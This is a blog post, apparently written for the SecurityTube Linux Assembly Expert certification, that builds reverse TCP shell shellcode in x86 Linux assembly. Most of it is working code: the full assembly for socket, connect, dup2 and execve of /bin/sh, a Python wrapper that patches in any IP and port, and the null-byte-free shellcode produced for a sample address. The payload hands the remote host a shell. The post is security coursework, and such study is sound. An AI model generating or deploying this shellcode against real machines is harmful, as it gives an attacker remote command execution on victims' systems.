SLAE 2: Creating a reverse TCP shell in x86 Assembly
Programming / January 21, 2020 • 7 min read
Tags: slae shellcoding
What is a reverse TCP shell?
A reverse TCP shell is a program that instead of listening for incoming connections, the program will connect to a remote system and provide a local shell. This is useful in situations where the victim system is behind NAT, meaning you can’t directly connect to it, instead the server will connect to you. For this reason, reverse TCP shells are usually prefered over bind shells.
Okey let’s do this, leeeerooooyyy jeeeeeenkins
Our previous article followed these steps to create a bind shell:
- Create a socket
- Bind the socket
- Listen for connections
- Accept new connections
- Execute shell
This program will only need the following steps:
- Create a socket
- Connect to remote system
- Execute shell
As can be seen, the reverse shell requires less steps and less code in order to function. For this assignment, I did not create a reference program in C, because most of the code was borrowed from our previous bind shell article. The only new code section in this assignment is the connect() function.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| global _start
section .text
_start:
; zero out registers
xor eax, eax
xor ebx, ebx
xor edx, edx
; -------------------------------------
; # Setup socket
; socketcall()
mov al, 0x66 ; __NR_socketcall 102
mov bl, 0x1 ; SYS_SOCKET
; # Setup socket
; Resulting file descriptor is saved to eax
push edx
push 0x1
push 0x2
mov ecx, esp ; Arguments are located top of the stack
int 0x80 ; Tell the kernel it's time to boogie
mov edi, eax ; $eax contains the file descriptor created by socket(), store it in $edi for now
|
After setting up the socketcall wrapper to call connect(), we need to setup the necessary arguments for connect()
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| ; ---------------------------------
; # Setup connect
; socketcall
mov al, 0x66 ; socketcall()
mov bl, 0x3 ; SYS_CONNECT
; setup sockaddr struct
push 0xfeffff80 ; 1.0.0.127
xor dword [esp], 0xffffffff ; xor IP with key 0xff to get real ip
push word 0x3905 ; htons(1337)
push word 0x2 ; AF_INET
mov ecx, esp ; Store the address that points to our struct
; Push the arguments for connect()
push 0x10 ; Length of __SOCK_SIZE__ which is 16 (0x10 in hex)
push ecx ; Points to our sockaddr_in struct
push edi ; Contains our file descriptor
mov ecx, esp ; Second parameter for socketcall, points to arguments required by connect()
int 0x80 ; Tell the kernel let's go!
|
The connect() code section is very similar to the setup needed for listen(), which can be seen in the previous bind shell article. The difference here is that we are specifying an IP to connect to. In order to avoid null bytes, the IP address is XORed with 0xffffffff
. This solution is not bulletproof, because if an IP would contain a 0xFF
, the result of the XOR operation would be 0x00
.
Now we use dup2()
to set STDIN, STDOUT, STDERR to our file descriptor, and execute /bin/sh
. This will expose a local shell to the connected socket, thereby acheiving a remote TCP shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| redirect:
; --------------------
; # Setup dup2
; redirect to stdin
mov al, 0x3f ; syscall number dup2 63 --> 0x3f
mov ebx, edi ; peer's file descriptor
mov ecx, edx ; STDIN
int 0x80
; redirect to stdout
mov al, 0x3f
mov cl, 0x1 ; STDOUT
int 0x80
; redirect to stderr
mov al, 0x3f
mov cl, 0x2 ; STDERR
int 0x80
shell:
; --------------------
; # Setup execv
xor edx, edx
push edx
; push //bin/sh onto the stack
push 0x68732f6e
push 0x69622f2f
; Set address of esp to ebx, which points
; to //bin/sh
mov ebx, esp
xor ecx, ecx
xor eax, eax
mov al, 0xb ; execv syscall
int 0x80
|
Final code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
| ;---------------------------------
;
; Author: dubs3c
;
; Purpose:
; Reverse TCP shell connect
;
;----------------------------------
global _start
section .text
_start:
; zero out registers
xor eax, eax
xor ebx, ebx
xor edx, edx
; -------------------------------------
; # Setup socket
; socketcall()
mov al, 0x66 ; __NR_socketcall 102
mov bl, 0x1 ; SYS_SOCKET
; # Setup socket
; Resulting file descriptor is saved to eax
push edx
push 0x1
push 0x2
mov ecx, esp ; Arguments are located top of the stack
int 0x80 ; Tell the kernel it's time to boogie
mov edi, eax ; $eax contains the file descriptor created by socket(), store it in $edi for now
; ---------------------------------
; # Setup connect
; socketcall
mov al, 0x66 ; socketcall()
mov bl, 0x3 ; SYS_CONNECT
; setup sockaddr struct
push 0xfeffff80 ; 1.0.0.127
xor dword [esp], 0xffffffff ; xor IP with key 0xff to get real ip
push word 0x3905 ; htons(1337)
push word 0x2 ; AF_INET
mov ecx, esp ; Store the address that points to our struct
; Push the arguments for connect()
push 0x10 ; Length of __SOCK_SIZE__ which is 16 (0x10 in hex)
push ecx ; Points to our sockaddr_in struct
push edi ; Contains our file descriptor
mov ecx, esp ; Second parameter for socketcall, points to arguments required by connect()
int 0x80 ; Tell the kernel let's go!
; --------------------
; # Setup dup2
; redirect to stdin
mov al, 0x3f ; syscall number dup2 63 --> 0x3f
mov ebx, edi ; peer's file descriptor
mov ecx, edx ; STDIN
int 0x80
; redirect to stdout
mov al, 0x3f
mov cl, 0x1 ; STDOUT
int 0x80
; redirect to stderr
mov al, 0x3f
mov cl, 0x2 ; STDERR
int 0x80
; --------------------
; # Setup execv
xor edx, edx
push edx
; push //bin/sh onto the stack
push 0x68732f6e
push 0x69622f2f
; Set address of esp to ebx, which points
; to //bin/sh
mov ebx, esp
xor ecx, ecx
xor eax, eax
mov al, 0xb ; execv syscall
int 0x80
; -----------------------------
; THE END - HAVE A NICE SHELL |
; -----------------------------
|
Making the address and port configurable
Right now the port 1337
and IP 127.0.0.1
is hardcoded, let’s make a wrapper script in python which allows for setting a custom port and IP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| #!/usr/bin/env python3
import sys
def main(ip, port):
# one liner to convert e.g 127.0.0.1 to \x80\xff\xff\xfe XORed with key 0xff
# This is to avoid null bytes. However, a null byte can be introduced if one octet is 0xff
hex_ip = "".join([hex(int(octet)^255).replace("0x","\\x") for octet in ip.split(".")])
str_port = hex(port).replace('0x','').zfill(4)
shellcode = r"\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x03\x68{ip}\x83\x34\x24\xff\x66\x68{port}\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1 \x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80"
hex_port = "\\x{}\\x{}".format(str_port[:2], str_port[2:])
if "\\x00" in hex_port:
print("[-] Sorry, null byte found in that port, chose another port.")
print("[-] Ports between 1-256 will always contain a null byte.")
print("[-] Port: {}".format(hex_port))
sys.exit(1)
if "\\x00" in hex_ip or "\\x0" in hex_ip:
print("[-] Sorry, a null byte was found in the XORed value, this is the end for you...")
print("[-] Value: {}".format(hex_ip))
sys.exit(1)
shellcode = shellcode.replace("{port}", hex_port)
shellcode = shellcode.replace("{ip}", hex_ip)
print("[+] Reverse TCP shell connecting to {ip}:{port}".format(ip=ip, port=port))
print("[+] Your Shellcode:")
print(shellcode)
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python3 wrapper.py <ip> <port>")
sys.exit(0)
if int(sys.argv[2]) < 1024:
print("[!] Warning: Ports < 1024 must be run as a root")
if len(sys.argv) == 3:
if (int(sys.argv[2]) > 65535):
print("[-] Port too large")
sys.exit(1)
main(sys.argv[1], int(sys.argv[2]))
|
Running the script yields:
dubs3c@slae:~/SLAE/EXAM/github/assignment_2$ python wrapper.py 192.168.0.48 1338
[+] Reverse TCP shell connecting to 192.168.0.48:1338
[+] Your Shellcode:
\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc7\xb0\x66\xb3\x03\x68\x3f\x57\xff\xcf\x83\x34\x24\xff\x66\x68\x05\x3a\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x3f\x89\xfb\x89\xd1\xcd\x80\xb0\x3f\xb1\x01\xcd\x80\xb0\x3f\xb1\x02\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xc0\xb0\x0b\xcd\x80
Screenshot showing the TCP reverse shell in action!

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
https://www.pentesteracademy.com/course?id=3
Student ID: SLAE-1490